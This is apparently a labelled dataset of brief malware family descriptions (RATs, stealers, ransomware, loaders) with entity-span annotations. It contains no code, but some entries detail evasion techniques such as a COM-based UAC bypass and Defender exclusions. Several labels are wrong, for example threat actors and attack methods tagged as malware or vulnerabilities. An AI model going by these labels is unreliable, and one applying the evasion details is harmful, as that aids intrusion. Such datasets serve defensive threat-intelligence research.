+{"text": "This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. \r\nIt is also used by attackers to gather a target’s data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler.Given that the Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.", "spans": {"MALWARE: Earthworm": [[543, 552]]}, "info": {"source": "apt_reports", "name": "Unidentified 080"}}
+{"text": "A RAT written in .NET, potentially used by Transparent Tribe.", "spans": {"SYSTEM: .NET": [[17, 21]], "MALWARE: Transparent Tribe": [[43, 60]]}, "info": {"source": "apt_reports", "name": "Unidentified 085"}}
+{"text": "Symantec describes this family as an unidentified tool set used to target a range of organizations in South East Asia. The campaign was first noticed in September 2020.", "spans": {"SYSTEM: Symantec": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Unidentified 087 "}}
+{"text": "Ransomware written in Nim.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 088 (Nim Ransomware)"}}
+{"text": "Downloader used in suspected APT attack against Vietnam.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 089 (Downloader)"}}
+{"text": "Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 090 (Lazarus)"}}
+{"text": "Avast found this unidentified RAT, which abuses a code-signing certificate by the Philippine Navy. It is statically linked against OpenSSL 1.1.1g.", "spans": {"SYSTEM: OpenSSL": [[131, 138]], "SYSTEM: Avast": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Unidentified 091"}}
+{"text": "According to Antiy CERT, this is a C++ backdoor that was first discovered in an attack by Confucius in September 2020. Its main functions include creating scheduled tasks, retrieving process information, retrieving network adapter information, retrieving disk drive information, uploading files, downloading files, executing files, and providing shell access.", "spans": {"MALWARE: Confucius": [[90, 99]]}, "info": {"source": "apt_reports", "name": "Unidentified 092 (Confucius Backdoor)"}}
+{"text": "Check Point Research observed this malware being used by Sidewinder.", "spans": {"ORGANIZATION: Check Point": [[0, 11]], "MALWARE: Sidewinder": [[57, 67]]}, "info": {"source": "apt_reports", "name": "Unidentified 093 (Sidewinder)"}}
+{"text": "Wiper, using EldoS RawDisk for low level access to disks.", "spans": {"MALWARE: Wiper": [[0, 5]], "MALWARE: RawDisk": [[19, 26]]}, "info": {"source": "apt_reports", "name": "Unidentified 095 (Iranian Wiper)"}}
+{"text": "Keylogger.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 096 (Keylogger)"}}
+{"text": "This malware uses DropBox for C2 and was spread via spear-phishing attack at government organizations. It is different from win.boombox, which is another APT29 attributed malware using DropBox (written in .NET).", "spans": {"THREAT_ACTOR: APT29": [[154, 159]], "SYSTEM: .NET": [[205, 209]], "VULNERABILITY: spear-phishing": [[52, 66]], "VULNERABILITY: phishing": [[58, 66]]}, "info": {"source": "apt_reports", "name": "Unidentified 099 (APT29 Dropbox Loader)"}}
+{"text": "Potential Lazarus sample.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 101 (Lazarus?)"}}
+{"text": "Donot malware is a sophisticated, high-level malware toolkit designed to collect and exfiltrate information from vulnerable systems. It has been used in targeted attacks against government and military organizations in Asia. Donot malware is highly complex and well-crafted, and it poses a serious threat to information security.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 102 (Donot)"}}
+{"text": "A malware that uses .NET to load unmanaged (shell)code which has some resemblance to BADHATCH, the IP found in the sample was referred to in coverage on WHITERABBIT ransomware attacks.", "spans": {"SYSTEM: .NET": [[20, 24]], "MALWARE: BADHATCH": [[85, 93]]}, "info": {"source": "apt_reports", "name": "Unidentified 103 (FIN8)"}}
+{"text": "This is possibly related to the MATA framework / Dacls.", "spans": {"MALWARE: MATA": [[32, 36]], "MALWARE: Dacls": [[49, 54]]}, "info": {"source": "apt_reports", "name": "Unidentified 106"}}
+{"text": "Small shellcode downloader, likely used by APT29.", "spans": {"THREAT_ACTOR: APT29": [[43, 48]]}, "info": {"source": "apt_reports", "name": "Unidentified 107 (APT29)"}}
+{"text": "According to Deep Instinct, this information stealer is written in Rust and was observed in Operation Rusty Flag.", "spans": {"SYSTEM: Rust": [[67, 71]], "ORGANIZATION: Deep Instinct": [[13, 26]]}, "info": {"source": "apt_reports", "name": "Unidentified 110 (RustyFlag)"}}
+{"text": "A Rust-based stealer, observed by Seqrite, along TTPs overlapping with Pakistan-linked APT groups.", "spans": {"SYSTEM: Rust": [[2, 6]]}, "info": {"source": "apt_reports", "name": "Unidentified 112 (Rust-based Stealer)"}}
+{"text": "According to Phylum, this is a RAT with these characteristics:\r\n* Registers as a scheduled task.\r\n* Receives commands from a remote server using web sockets.\r\n* Installs Chrome extensions to Secure Preferences.\r\n* Configures AnyDesk, hides the screen, and disables shutting down Windows.\r\n* Captures keyboard and mouse events.\r\n* Collects information about files, browser extensions, and browser history.", "spans": {"TOOL: AnyDesk": [[225, 232]], "SYSTEM: Chrome": [[170, 176]], "SYSTEM: Windows": [[279, 286]]}, "info": {"source": "apt_reports", "name": "Unidentified 113 (RAT)"}}
+{"text": "According to Trend Micro, this is a small information stealer written in .NET, that pushes its loot to a benign file sharing service and does not have a direct C&C callback.", "spans": {"SYSTEM: Trend Micro": [[13, 24]], "SYSTEM: .NET": [[73, 77]]}, "info": {"source": "apt_reports", "name": "Unidentified 114 (APT28 InfoStealer)"}}
+{"text": "According to Walmart, this is a loader written in Nim that contains an AmsiScanBuffer patch followed by a EtwEventWrite patch and that will download/decrypt a payload via AES CFB and inject it into a hardcoded process target (e.g. explorer.exe).", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 115 (Nim Loader)"}}
+{"text": "This malware family delivers its artifacts packed with free and generic packers. It writes files to windows temporary folders, downloads additional malware (generally cryptominers) and deletes itself.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 116 (Miner)"}}
+{"text": "According to Deutsche Telekom CERT, this malware unpacks an obfuscated, multi-stage shellcode payload. After unpacking, a password prompt is displayed to the user. The password is provided to the victim and used to decrypt the final stage payload.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 120"}}
+{"text": "unidentified_121 acts as a downloader and reflective PE loader, employing a dual-mode execution strategy based on its privilege level. When executed without administrative rights, it uniquely attempts to bypass User Account Control (UAC) by first patching its own Process Environment Block (PEB) in memory to masquerade as explorer.exe, and then leveraging a specific COM object ({3E5FC7F9-9A51-4367-9063-A120244FBEC7} with the Elevation:Administrator!new: moniker) to relaunch itself with elevated privileges. This initial stage focuses purely on achieving elevation and does not perform C2 communication or direct payload execution itself in the non-elevated state.\r\n\r\nOnce running with administrative privileges (either initially or after successful elevation), the malware establishes persistence by creating a Scheduled Task named \"BlaBlaAgu\" using COM, configuring it to run with the highest privileges and repeat every five minutes indefinitely. It actively evades defenses by using PowerShell commands (Add-MpPreference) to add Windows Defender exclusions for its own process and the user's profile directory, reinforcing these exclusions every 60 seconds via a separate thread. Its primary function in this elevated state is to act as a downloader, connecting to its Command and Control (C2) server over TCP port 33334 using a custom protocol encrypted with an RC4-like cipher and the hardcoded key \"ALB9SxZBzCqwPFnD\"; after a distinct 20-byte client handshake (RC4 Key + integer 444, followed by a 16-byte server response (RC4 Key) for validation), it downloads further encrypted PE payloads and executes them reflectively in its own memory space.", "spans": {"TOOL: PowerShell": [[990, 1000]], "SYSTEM: Windows Defender": [[1036, 1052]], "SYSTEM: Windows": [[1036, 1043]]}, "info": {"source": "apt_reports", "name": "Unidentified 121"}}
+{"text": "According to Datadog, this malware functions primarily as a credential and infostealer. It enumerates LevelDB files within application data directories for Discord, Chromium-based browsers, cryptocurrency wallets, and Electron applications.", "spans": {"SYSTEM: Discord": [[156, 163]]}, "info": {"source": "apt_reports", "name": "Unidentified 122 (Stealer)"}}
+{"text": "An infostealer written in Go.", "spans": {"SYSTEM: Go": [[26, 28]]}, "info": {"source": "apt_reports", "name": "Unidentified 123 (Go Infostealer)"}}
+{"text": "This malware uses Azure Functions as its C2.", "spans": {"SYSTEM: Azure": [[18, 23]]}, "info": {"source": "apt_reports", "name": "Unidentified 124 (Azure Functions)"}}
+{"text": "Upatre is primarly a downloader. It has been discovered in 2013 and since that time it has been widely updated. Upatre is responsible for delivering further malware to the victims, in specific upatre was a prolific delivery mechanism for Gameover P2P in 2013-2014 and then for Dyre in 2015.", "spans": {"MALWARE: Upatre": [[0, 6], [112, 118]], "MALWARE: Dyre": [[277, 281]], "MALWARE: Gameover P2P": [[238, 250]]}, "info": {"source": "apt_reports", "name": "Upatre"}}
+{"text": "Uroburos is a driver for Windows, including a bypass of PatchGuard. According to Andrzej Dereszowski and Matthieu Kaczmarek, \"the techniques used demonstrate [their] excellent knowledge of Windows kernel internals.\"", "spans": {"MALWARE: Uroburos": [[0, 8]], "SYSTEM: Windows": [[25, 32], [189, 196]]}, "info": {"source": "apt_reports", "name": "Uroburos"}}
+{"text": "According to Kaspersky, USBCulprit is a malware that is capable of scanning various paths in victim machines, collecting documents with particular extensions and passing them on to USB drives when they are connected to the system. It can also selectively copy itself to a removable drive in the presence of a particular file, suggesting it can be spread laterally by having designated drives infected and the executable in them opened manually.", "spans": {"MALWARE: USBCulprit": [[24, 34]], "SYSTEM: Kaspersky": [[13, 22]]}, "info": {"source": "apt_reports", "name": "USBCulprit"}}
+{"text": "ESET reports that Vadokrist is a Latin American banking trojan that they have been tracking since 2018 and that is active almost exclusively in Brazil.", "spans": {"MALWARE: Vadokrist": [[18, 27]], "SYSTEM: ESET": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Vadokrist"}}
+{"text": "Description:\r\n\r\nVanillaRat is an advanced remote administration tool coded in C#. VanillaRat uses the Telepathy TCP networking library, dnlib module reading and writing library, and Costura.Fody dll embedding library.\r\nFeatures:\r\n\r\n    Remote Desktop Viewer (With remote click)\r\n    File Browser (Including downloading, drag and drop uploading, and file opening)\r\n    Process Manager\r\n    Computer Information\r\n    Hardware Usage Information (CPU usage, disk usage, available ram)\r\n    Message Box Sender\r\n    Text To Speech\r\n    Screen Locker\r\n    Live Keylogger (Also shows current window)\r\n    Website Opener\r\n    Application Permission Raiser (Normal -> Admin)\r\n    Clipboard Text (Copied text)\r\n    Chat (Does not allow for client to close form)\r\n    Audio Recorder (Microphone)\r\n    Process Killer (Task manager, etc.)\r\n    Remote Shell\r\n    Startup\r\n    Security Blacklist (Drag client into list if you don't want connection. Press del. key on client to remove from list)", "spans": {"MALWARE: VanillaRat": [[16, 26], [82, 92]]}, "info": {"source": "apt_reports", "name": "vanillarat"}}
+{"text": "According to Mandiant, VaporRage or BOOMMIC, is a shellcode downloader written in C that communicates over HTTPS. Shellcode Payloads are retrieved from a hardcoded C2 that uses an encoded host_id generated from the targets domain and account name. BOOMMIC XOR decodes the downloaded shellcode payload in memory and executes it.", "spans": {"MALWARE: VaporRage": [[23, 32]], "MALWARE: BOOMMIC": [[36, 43], [248, 255]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "VaporRage"}}
+{"text": "In May 2019, ESET researchers observed a spike in ESET telemetry data regarding malware targeting France. After further investigations, they identified malware that distributes various types of spam. One of them is leading to a survey that redirects to a dodgy smartphone promotion while the other is a sextortion campaign. The spam targets the users of Orange S.A., a French ISP.", "spans": {"SYSTEM: ESET": [[13, 17], [50, 54]]}, "info": {"source": "apt_reports", "name": "Varenyky"}}
+{"text": "Credential Stealer, written in .NET.", "spans": {"SYSTEM: .NET": [[31, 35]]}, "info": {"source": "apt_reports", "name": "Veeam Dumper"}}
+{"text": "Delphi-based ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "VegaLocker"}}
+{"text": "According to Seqrite, VELETRIX as been observed as a loader for VShell.", "spans": {"MALWARE: VELETRIX": [[22, 30]], "MALWARE: VShell": [[64, 70]]}, "info": {"source": "apt_reports", "name": "VELETRIX"}}
+{"text": "Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.", "spans": {"MALWARE: velso": [[104, 109]], "TOOL: RDP": [[77, 80]]}, "info": {"source": "apt_reports", "name": "Velso"}}
+{"text": "Ransomware, which appears to be a rebranding of win.cuba.", "spans": {}, "info": {"source": "apt_reports", "name": "Vendetta"}}
+{"text": "VenomLNK is the initial phase of the more_eggs malware-as-a-service.  It is a poisoned .lnk file that depends on User Execution and points to LOLBINs (often cmd.exe) with additional obfuscated scripting options.  This typically initiates WMI abuse and TerraLoader, which can load additional functionality through various plugins.", "spans": {"MALWARE: VenomLNK": [[0, 8]], "TOOL: cmd.exe": [[157, 164]], "TOOL: cmd": [[157, 160]], "SYSTEM: WMI": [[238, 241]]}, "info": {"source": "apt_reports", "name": "VenomLNK"}}
+{"text": "According to Cisco Talos, this is a reverse proxy socks5 server-client tool originally developed for penetration testers.", "spans": {"SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Venom Proxy"}}
+{"text": "Vetta Loader is a persistent Loader spreading with infected USB drives. It downloads other components leveraging legit hosting services.\r\nhttps://yoroi.company/wp-content/uploads/2023/12/202311-Vetta-Loader_Def-min.pdf", "spans": {"URL: https://yoroi.company/wp-content/uploads/2023/12/202311-Vetta-Loader_Def-min.pdf": [[138, 218]], "MALWARE: Vetta Loader": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Vetta Loader"}}
+{"text": "Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protected by VMProtect.", "spans": {"MALWARE: Vflooder": [[0, 8]], "ORGANIZATION: VirusTotal": [[16, 26]]}, "info": {"source": "apt_reports", "name": "Vflooder"}}
+{"text": "VictoryGate was the name of a cryptomining botnet, which was disrupted by ESET researchers in April 2020. The used malware itself was also referred to as VictoryGate. It was spotted in May 2019 and targeted mainly Latin American users, specifically, Peru (Criptonizando states 90% of the botnet publication residing there). Both public and private sectors were targeted.\r\nThis cryptojacking malware was specialized in Monero (XRM) cryptocurrency. VictoryGate shows very strong code overlap with win.orchard.", "spans": {"MALWARE: VictoryGate": [[0, 11], [154, 165], [447, 458]], "SYSTEM: ESET": [[74, 78]]}, "info": {"source": "apt_reports", "name": "VictoryGate"}}
+{"text": "Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.", "spans": {"MALWARE: Vidar": [[0, 5]], "TOOL: Tor": [[133, 136]]}, "info": {"source": "apt_reports", "name": "Vidar"}}
+{"text": "Wiper malware discovered by Japanese security firm Mitsui Bussan Secure Directions (MBSD), which is assumed to target Japan, the host country of the 2021 Summer Olympics. In addition to targeting common file Office-related files, it specifically targets file types associated with the Japanese word processor Ichitaro.", "spans": {"MALWARE: Wiper": [[0, 5]]}, "info": {"source": "apt_reports", "name": "VIGILANT CLEANER"}}
+{"text": "Polymorphic parasitic file infecting virus which transforms files into copies of itself. Additionally it uses screen-locking as a ransomware technique.", "spans": {}, "info": {"source": "apt_reports", "name": "VirLock"}}
+{"text": "VJW0rm (aka Vengeance Justice Worm) is a publicly available, modular JavaScript RAT. Vjw0rm was first released in November 2016 by its primary author, v_B01 (aka Sliemerez), within the prominent DevPoint Arabic-language malware development community. VJW0rm appears to be the JavaScript variant of a series of RATs with identical functionality released by the author throughout late 2016. Other variants include a Visual Basic Script (VBS) based worm titled vw0rm (Vengeance Worm), an AutoHotkey-based tool called vrw0rm (Vengeance Rise Worm), and a PowerShell-based variant called vdw0rm (Vengeance Depth Worm).", "spans": {"MALWARE: Vjw0rm": [[85, 91]], "TOOL: PowerShell": [[550, 560]]}, "info": {"source": "apt_reports", "name": "Vjw0rm"}}
+{"text": "Malware of this family searches for computers on a network and creates copies of itself in folders with open access. For the program to be activated, the user must first run it on the computer. The code of this malware is written in the Visual Basic programming language and uses obfuscation, which is a distinguishing feature of this family. Code obfuscation complicates attempts by anti-virus software to analyze suspected malware.", "spans": {}, "info": {"source": "apt_reports", "name": "Vobfus"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Void"}}
+{"text": "Voldemort is a backdoor discovered by Proofpoint in August 2024. It is being distributed via phishing E-Mails and makes use of creative techniques such as using saved search files during the infection chain for obfuscation and Google Sheets for C2. While its broad targeting looks like it is related to ecrime, Proofpoint notes that the capabilities of the malware point towards espionage/APT activity.", "spans": {"MALWARE: Voldemort": [[0, 9]], "ORGANIZATION: Proofpoint": [[38, 48], [311, 321]], "ORGANIZATION: Google": [[227, 233]], "VULNERABILITY: phishing": [[93, 101]]}, "info": {"source": "apt_reports", "name": "Voldemort"}}
+{"text": "Ransomware written in D.", "spans": {}, "info": {"source": "apt_reports", "name": "Vovalex"}}
+{"text": "VShell is an OST framework written in Go, enabling availability of implants for multiple platforms (Windows, Linux, macOS).", "spans": {"MALWARE: VShell": [[0, 6]], "SYSTEM: macOS": [[116, 121]], "SYSTEM: Windows": [[100, 107]], "SYSTEM: Linux": [[109, 114]], "SYSTEM: Go": [[38, 40]]}, "info": {"source": "apt_reports", "name": "VShell"}}
+{"text": "Information stealer.", "spans": {}, "info": {"source": "apt_reports", "name": "Vulturi"}}
+{"text": "Vyveva is a remote access trojan that uses the Tor library for communication with C&C. Its use of fake TLS for camouflaging the network traffic is one of the typical Lazarus traits.\r\n\r\nIt uses a simple XOR for encryption of its configuration and network traffic. \r\n\r\nIt sends detailed information about the victim's environment, like computer name, user name, IP, code page, Windows version, architecture, and time zone.\r\n\r\nIt supports more than 20 commands that include operations on the victim’s filesystem, basic process management, command line execution, file exfiltration, and the download and memory execution of an additional DLL from the C&C (by calling the expected export SamIPromote). As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. The lowest index is 0x3, followed by 0x10, which goes incrementally up to 0x26. Also, it can monitor newly connected drives and the number of logged-on users.\r\n\r\nIt has MPRD.dll as the internal DLL name, and a single export SamIInitialize.\r\n\r\nVyveva RAT was used in an attack against a freight logistics company in South Africa in June 2020.", "spans": {"MALWARE: Vyveva RAT": [[1023, 1033]], "TOOL: Tor": [[47, 50]], "SYSTEM: Windows": [[375, 382]]}, "info": {"source": "apt_reports", "name": "Vyveva RAT"}}
+{"text": "Wabot is an IRC worm that is written in Delphi.", "spans": {}, "info": {"source": "apt_reports", "name": "win.wabot"}}
+{"text": "wAgentTea is an HTTP(S) downloader. \r\n\r\nIt was deployed mostly against South Korean targets like a pharmaceutical company (Q4 2020) or semiconductor industry (Q2 2023). In several cases, the initial access was obtained via exploitation of South Korean software like Initech's INISAFE CrossWeb EX or Dream Security’s MagicLine4NX.\r\n\r\nIt uses AES-128 for encryption and decryption of its network traffic, and for decryption of its binary configuration.\r\n\r\nThere is a hard-coded list of parameter names used in its HTTP POST request:\r\nidenty;tname;blogdata;content;thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc;\r\ncategory;articles;portal\r\n\r\nIt contains a specific RTTI symbol \".?AVCHttp_socket@@\".", "spans": {"MALWARE: wAgentTea": [[0, 9]]}, "info": {"source": "apt_reports", "name": "wAgentTea"}}
+{"text": "WannaCry is ransomware that contains a worm component enabled by the EternalBlue exploit. It attempts to use vulnerabilities in the Windows SMBv1 server to remotely compromise systems, encrypt files, and spread to other hosts. Systems that have installed the MS17-010 patch are not vulnerable to the exploits used. The spreading was stopped about 8 hours after initial outbreak due to triggering a kill switch domain.", "spans": {"MALWARE: WannaCry": [[0, 8]], "SYSTEM: Windows": [[132, 139]], "VULNERABILITY: EternalBlue": [[69, 80]]}, "info": {"source": "apt_reports", "name": "WannaCryptor"}}
+{"text": "According to Mars, WannaHusky is a Nim-compiled ransomware malware sample, created for demonstration purposes and provided as part of the Practical Malware Analysis & Triage course provided by HuskyHacks.", "spans": {"MALWARE: WannaHusky": [[19, 29]], "MALWARE: Mars": [[13, 17]]}, "info": {"source": "apt_reports", "name": "WannaHusky"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "WannaRen"}}
+{"text": "WarmCookie is backdoor that is capable of executing commands reading/writing files and capturing screenshots. It communicates with a command and control (C&C) server via HTTP to receive further instructions and exfiltrate stolen data. It is commonly distributed through phishing campaigns and malicious downloads, targeting unsuspecting users to infiltrate systems undetected.", "spans": {"MALWARE: WarmCookie": [[0, 10]], "VULNERABILITY: phishing": [[270, 278]]}, "info": {"source": "apt_reports", "name": "WarmCookie"}}
+{"text": "According to Seqrite, this is a fork of Stealerium that has high overlap with its originating codebase. Main changes include removal of Discord web hooks (for the sake of using Telegram) and rebranding away from Stealerium (string removal).", "spans": {"SYSTEM: Telegram": [[177, 185]], "SYSTEM: Discord": [[136, 143]], "MALWARE: Stealerium": [[40, 50], [212, 222]]}, "info": {"source": "apt_reports", "name": "Warp Stealer"}}
+{"text": "Warsaw trojan is a new banking trojan based on the Hours Eyes RAT core engine.", "spans": {"MALWARE: Warsaw": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Warsaw"}}
+{"text": "This malware looks similar to WastedLocker, but the ransomware component is missing.", "spans": {"MALWARE: WastedLocker": [[30, 42]]}, "info": {"source": "apt_reports", "name": "WastedLoader"}}
+{"text": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim’s name and the string ‘wasted’. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.", "spans": {"MALWARE: WastedLocker": [[0, 12], [221, 233]], "ORGANIZATION: Fox-IT": [[297, 303]], "MALWARE: Gozi ISFB": [[433, 442]], "MALWARE: Gozi": [[433, 437]], "MALWARE: Netwalker": [[422, 431]], "MALWARE: ISFB": [[438, 442]]}, "info": {"source": "apt_reports", "name": "WastedLocker"}}
+{"text": "Waterbear, also known as DbgPrint in its earlier export function, has been active since 2009. The malware is presumably developed by the BlackTech APT group and adopts advanced anti-analysis and forward-thinking design. These designs include a sophisticated shellcode stager, the ability to load plugins on-the-fly, and overall evasiveness should the C2 server fail to respond with a valid session key.", "spans": {"MALWARE: Waterbear": [[0, 9]], "MALWARE: DbgPrint": [[25, 33]], "THREAT_ACTOR: BlackTech": [[137, 146]]}, "info": {"source": "apt_reports", "name": "Waterbear"}}
+{"text": "Wave Stealer is an infostealer offered as Malware-as-a-Service by a French-speaking actor called \"Wave\". The threat actor has strong relationships with Nova Stealer's and Epsilon Stealer's groups. It's capabilities include passwords and crypto-wallet stealing, discord and telegram injection, and backup codes finder.", "spans": {"MALWARE: Wave Stealer": [[0, 12]], "MALWARE: Epsilon Stealer": [[171, 186]], "MALWARE: Nova Stealer": [[152, 164]]}, "info": {"source": "apt_reports", "name": "Wave Stealer"}}
+{"text": "WebbyTea is an HTTP(S) downloader that uses AES for C&C trafic encryption.\r\n\r\nIt sends detailed information about the victim's environment, like proxy settings, system instalation date, Windows product name and version, manufacturer, product name, system boot time, time zone, computer name, user name, current time and a list of currently running processes. Data sent to the C&C server consists of the prefix \"ci\", a 16-characters long hexadecimal string representing the victim ID and an encrypted data about the victim's system.  After the payload is acquired from the server and successfully injected  in a newly created explorer.exe process, the malware responds back with the same victim ID having the prefix changed to \"cs\".\r\n\r\nThe internal DLL name of the native WebbyTea is usually pe64.dll or webT64.dll (from which its name is derived).\r\n\r\nThe usual payload associated with WebbyTea is SnatchCrypto.", "spans": {"MALWARE: WebbyTea": [[0, 8], [771, 779], [885, 893]], "SYSTEM: Windows": [[186, 193]], "MALWARE: SnatchCrypto": [[897, 909]]}, "info": {"source": "apt_reports", "name": "WebbyTea"}}
+{"text": "On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.'\r\nUnit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.", "spans": {"MALWARE: Webmonitor RAT": [[16, 30]], "SYSTEM: Windows": [[193, 200], [238, 245]], "SYSTEM: Windows XP": [[238, 248]]}, "info": {"source": "apt_reports", "name": "WebMonitor RAT"}}
+{"text": "WellMess is A Remote Access Trojan written in GoLang and .NET. It has hard-coded User-Agents. Attackers deploy WellMess using separate tools which also allow lateral movement, for example \"gost\". Command and Control traffic is handled via HTTP using the Set-Cookie field and message body.", "spans": {"MALWARE: WellMess": [[0, 8], [111, 119]], "SYSTEM: .NET": [[57, 61]]}, "info": {"source": "apt_reports", "name": "WellMess"}}
+{"text": "Destructive malware deployed against targets in Ukraine in January 2022.", "spans": {}, "info": {"source": "apt_reports", "name": "WhisperGate"}}
+{"text": "According to Dr.Web, WhiteBird is a backdoor written in C++ and designed to operate in both 32-bit and 64-bit Microsoft Windows operating systems. The configuration is encrypted with a single byte XOR key. An interesting feature is that the malware can be restricted to operate only within certain \"working_hours\" with a granularity of one minute.", "spans": {"MALWARE: WhiteBird": [[21, 30]], "SYSTEM: Windows": [[120, 127]], "ORGANIZATION: Microsoft": [[110, 119]]}, "info": {"source": "apt_reports", "name": "WhiteBird"}}
+{"text": "WhiteSnake Stealer, discovered in February 2022, is a sophisticated .NET data-stealing malware that targets browsers, applications, and crypto wallets.\r\n\r\nThe builder can build payloads in different file formats such as EXE, SCR, COM, CMD, BAT, VBS, PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Some of these (python, bash) allow the malware to run on Linux systems.\r\n\r\nThe stealer has two execution methods:\r\n\r\n* Non-resident - the stealer auto-deletes itself after successful execution\r\n* Resident - the stealer beacons out to the C2 (possibly in the TOR network)\r\n\r\nWhiteSnake Stealer can gather system information, execute remote commands, spread through USB drives, and perform tasks like keylogging, file management, and webcam access.", "spans": {"MALWARE: WhiteSnake Stealer": [[0, 18], [576, 594]], "SYSTEM: Linux": [[359, 364]], "SYSTEM: .NET": [[68, 72]], "VULNERABILITY: keylogging": [[701, 711]], "MALWARE: Resident": [[498, 506]]}, "info": {"source": "apt_reports", "name": "WhiteSnake Stealer"}}
+{"text": "Information stealer used by threat actor LuoYu.", "spans": {}, "info": {"source": "apt_reports", "name": "WinDealer"}}
+{"text": "According to ESET Research, this is a payload downloaded by win.wslink. They attribute it with low confidence to Lazarus.", "spans": {"SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "WinorDLL64"}}
+{"text": "WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.", "spans": {"MALWARE: WinPot": [[0, 6]]}, "info": {"source": "apt_reports", "name": "WinPot"}}
+{"text": "Backdoor used in the EvilPlayout campaign against Iran's State Broadcaster.", "spans": {"MALWARE: EvilPlayout": [[21, 32]]}, "info": {"source": "apt_reports", "name": "WinScreeny"}}
+{"text": "According to Proofpoint, WmRAT is a remote access trojan (RAT) written in C++ that uses sockets for communications and has standard RAT functionality. The RAT can gather basic host information, upload or download files, take screenshots, get geolocation data of the target machine, enumerate directories and files, and run arbitrary commands via cmd or PowerShell. The malware also generates a number of junk threads, potentially to mislead researchers or responders investigating the samples.", "spans": {"MALWARE: WmRAT": [[25, 30]], "TOOL: PowerShell": [[353, 363]], "TOOL: cmd": [[346, 349]], "ORGANIZATION: Proofpoint": [[13, 23]]}, "info": {"source": "apt_reports", "name": "WmRAT"}}
+{"text": "Information Stealer.", "spans": {}, "info": {"source": "apt_reports", "name": "WorldWind"}}
+{"text": "WORMHOLE is a TCP tunneler that is dynamically configurable from a C&C server and can communicate with an additional remote machine endpoint for a relay.", "spans": {"MALWARE: WORMHOLE": [[0, 8]]}, "info": {"source": "apt_reports", "name": "WORMHOLE"}}
+{"text": "Checkpoint Research found this backdoor, attributed to IndigoZebra, used to target Afghan and other Central-Asia countries, including Kyrgyzstan and Uzbekistan, since at least 2014.", "spans": {"THREAT_ACTOR: IndigoZebra": [[55, 66]]}, "info": {"source": "apt_reports", "name": "xCaon"}}
+{"text": "According to ESET Research, XDDown is a primary malware component and is strictly a downloader. It persists on the system using the traditional Run key. It downloads additional plugins from the hardcoded C&C server using the HTTP protocol. The HTTP replies contain PE binaries encrypted with a hardcoded two-byte XOR key. Plugins include a module for reconnaissance on the affected system, crawling drives, file exfiltration, SSID gathering, and grabbing saved passwords.", "spans": {"SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "XDSpy"}}
+{"text": "Xehook is a .NET-based malware targeting Windows systems. It collects data from Chromium and Gecko browsers, supporting over 110 cryptocurrencies and 2FA extensions. CRIL found a potential link between Xehook Stealer, Agniane, and the Cinoshi project, suggesting a progression from a free MaaS model to the development of Xehook Stealer. SmokeLoader binaries were identified as a common vector for distributing Xehook Stealer. Xehook Stealer shares code overlaps with Agniane Stealer, indicating an evolutionary relationship.", "spans": {"SYSTEM: Windows": [[41, 48]], "SYSTEM: .NET": [[12, 16]], "MALWARE: SmokeLoader": [[338, 349]]}, "info": {"source": "apt_reports", "name": "XehookStealer"}}
+{"text": "XenArmor is a suite of password recovery tools for various applications that have been observed to be abused in attacks alongside malware.", "spans": {"MALWARE: XenArmor": [[0, 8]]}, "info": {"source": "apt_reports", "name": "XenArmor"}}
